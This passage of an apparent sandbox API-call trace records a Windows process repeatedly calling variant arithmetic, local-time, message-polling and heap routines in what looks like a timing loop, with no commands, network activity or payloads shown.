pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.783] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.784] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.784] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.784] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.784] CoFreeUnusedLibraries () [0180.784] GetTickCount () returned 0x115ddb2 [0180.784] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.784] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.784] CoFreeUnusedLibraries () [0180.784] GetTickCount () returned 0x115ddb2 [0180.784] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.784] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.784] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.784] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.784] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.785] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.785] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.785] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.785] CoFreeUnusedLibraries () [0180.785] GetTickCount () returned 0x115ddb2 [0180.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.785] CoFreeUnusedLibraries () [0180.785] GetTickCount () returned 0x115ddb2 [0180.785] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.785] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.785] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.785] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.785] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.785] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.785] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.786] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.786] CoFreeUnusedLibraries () [0180.786] GetTickCount () returned 0x115ddb2 [0180.786] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.786] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.786] CoFreeUnusedLibraries () [0180.786] GetTickCount () returned 0x115ddb2 [0180.786] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.786] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.786] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.786] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.786] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.786] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.786] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.786] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.787] CoFreeUnusedLibraries () [0180.787] GetTickCount () returned 0x115ddb2 [0180.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.787] CoFreeUnusedLibraries () [0180.787] GetTickCount () returned 0x115ddb2 [0180.787] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.787] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.787] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.787] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.787] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.788] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.788] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.788] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.789] CoFreeUnusedLibraries () [0180.789] GetTickCount () returned 0x115ddb2 [0180.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.789] CoFreeUnusedLibraries () [0180.789] GetTickCount () returned 0x115ddb2 [0180.789] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.789] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.789] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.789] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.789] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.789] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.789] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.789] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.790] CoFreeUnusedLibraries () [0180.790] GetTickCount () returned 0x115ddb2 [0180.790] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.790] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.790] CoFreeUnusedLibraries () [0180.790] GetTickCount () returned 0x115ddb2 [0180.790] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.790] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.790] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.790] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.790] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.790] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.790] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.790] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.791] CoFreeUnusedLibraries () [0180.791] GetTickCount () returned 0x115ddb2 [0180.791] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.791] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.791] CoFreeUnusedLibraries () [0180.791] GetTickCount () returned 0x115ddb2 [0180.791] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.791] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.791] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.791] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.791] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.791] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.791] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.791] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.791] CoFreeUnusedLibraries () [0180.791] GetTickCount () returned 0x115ddb2 [0180.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.792] CoFreeUnusedLibraries () [0180.792] GetTickCount () returned 0x115ddb2 [0180.792] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.792] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.792] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.792] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.792] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.792] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.792] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.792] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.792] CoFreeUnusedLibraries () [0180.792] GetTickCount () returned 0x115ddb2 [0180.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.792] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.793] CoFreeUnusedLibraries () [0180.793] GetTickCount () returned 0x115ddb2 [0180.793] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.793] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.793] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.793] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.793] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.793] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.793] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.793] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.793] CoFreeUnusedLibraries () [0180.793] GetTickCount () returned 0x115ddb2 [0180.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.794] CoFreeUnusedLibraries () [0180.794] GetTickCount () returned 0x115ddb2 [0180.794] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.794] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.794] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.794] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.794] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.794] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.794] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.794] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.795] CoFreeUnusedLibraries () [0180.795] GetTickCount () returned 0x115ddb2 [0180.795] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.795] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.795] CoFreeUnusedLibraries () [0180.795] GetTickCount () returned 0x115ddb2 [0180.795] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.795] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.795] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.795] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.795] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.795] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.795] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.796] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.796] CoFreeUnusedLibraries () [0180.796] GetTickCount () returned 0x115ddb2 [0180.796] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.796] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.796] CoFreeUnusedLibraries () [0180.796] GetTickCount () returned 0x115ddb2 [0180.796] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.796] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.796] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.796] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.796] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.797] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.797] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.797] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.797] CoFreeUnusedLibraries () [0180.797] GetTickCount () returned 0x115ddb2 [0180.797] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.797] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.797] CoFreeUnusedLibraries () [0180.797] GetTickCount () returned 0x115ddb2 [0180.797] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.797] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.797] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.797] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.797] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.798] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.798] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.798] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.798] CoFreeUnusedLibraries () [0180.798] GetTickCount () returned 0x115ddb2 [0180.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.798] CoFreeUnusedLibraries () [0180.798] GetTickCount () returned 0x115ddb2 [0180.798] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.798] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.798] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.798] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.798] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.799] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.800] CoFreeUnusedLibraries () [0180.800] GetTickCount () returned 0x115ddc2 [0180.800] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.800] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.800] CoFreeUnusedLibraries () [0180.800] GetTickCount () returned 0x115ddc2 [0180.800] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.800] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.800] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.800] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.800] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.801] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.801] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.801] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.801] CoFreeUnusedLibraries () [0180.801] GetTickCount () returned 0x115ddc2 [0180.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.801] CoFreeUnusedLibraries () [0180.801] GetTickCount () returned 0x115ddc2 [0180.801] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.801] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.801] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.801] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.801] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.802] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.802] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.802] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.802] CoFreeUnusedLibraries () [0180.802] GetTickCount () returned 0x115ddc2 [0180.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.802] 